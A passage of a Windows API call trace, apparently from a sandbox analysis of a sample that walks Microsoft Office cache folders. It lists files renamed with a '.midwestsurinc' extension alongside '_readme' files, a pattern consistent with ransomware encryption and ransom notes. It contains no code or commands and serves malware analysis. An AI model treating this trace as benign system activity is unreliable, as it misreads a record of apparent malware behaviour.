ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.715] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.715] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.715] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.715] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.715] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.715] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.715] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.715] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519fffb0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x519fffb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.715] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.716] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.716] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.716] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.716] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.716] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5259aaf0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5259aaf0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x459, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.716] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.716] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.716] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.716] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.716] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52633070, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x52633070, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.716] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.716] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.716] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5068) returned 1 [0227.716] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52633070, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x52633070, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.716] GetLastError () returned 0x12 [0227.716] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0227.716] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.716] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x52633070, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x52633070, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.716] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.717] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519b3cf0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x519b3cf0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.717] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.717] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x519fffb0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x519fffb0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.717] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.717] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5259aaf0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x5259aaf0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x459, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.717] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.717] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52633070, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x52633070, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.717] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52633070, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x52633070, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.717] GetLastError () returned 0x12 [0227.717] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4470) returned 1 [0227.717] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0227.718] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.718] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f3a58) returned 1 [0227.718] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x53b070f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x53b070f0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0227.718] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.718] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x53b070f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x53b070f0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.719] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0227.720] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0227.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.720] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0227.720] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.720] NtClose (Handle=0x1b0) returned 0x0 [0227.720] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5068 [0227.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f3a58 [0227.720] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.720] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f4470 [0227.720] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd560 [0227.722] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x53b070f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x53b070f0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.722] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x536b6910, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x536b6910, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.midwestsurinc", cAlternateFileName="")) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53a94cd0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53a94cd0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53ae0f90, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53ae0f90, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc", cAlternateFileName="")) returned 1 [0227.722] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.722] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.722] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b070f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53b070f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 1 [0227.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.723] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.723] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0227.723] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b070f0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x53b070f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.midwestsurinc_readme", cAlternateFileName="")) returned 0 [0227.723] GetLastError () returned 0x12 [0227.723] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd460 [0227.723] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x53b070f0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x53b070f0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.midwestsurinc", cAlternateFileName="")) returned 1 [0227.723] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x536b6910, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x536b6910, ftLastAccessTime.dwHighDateTime=0x1d5dff7, 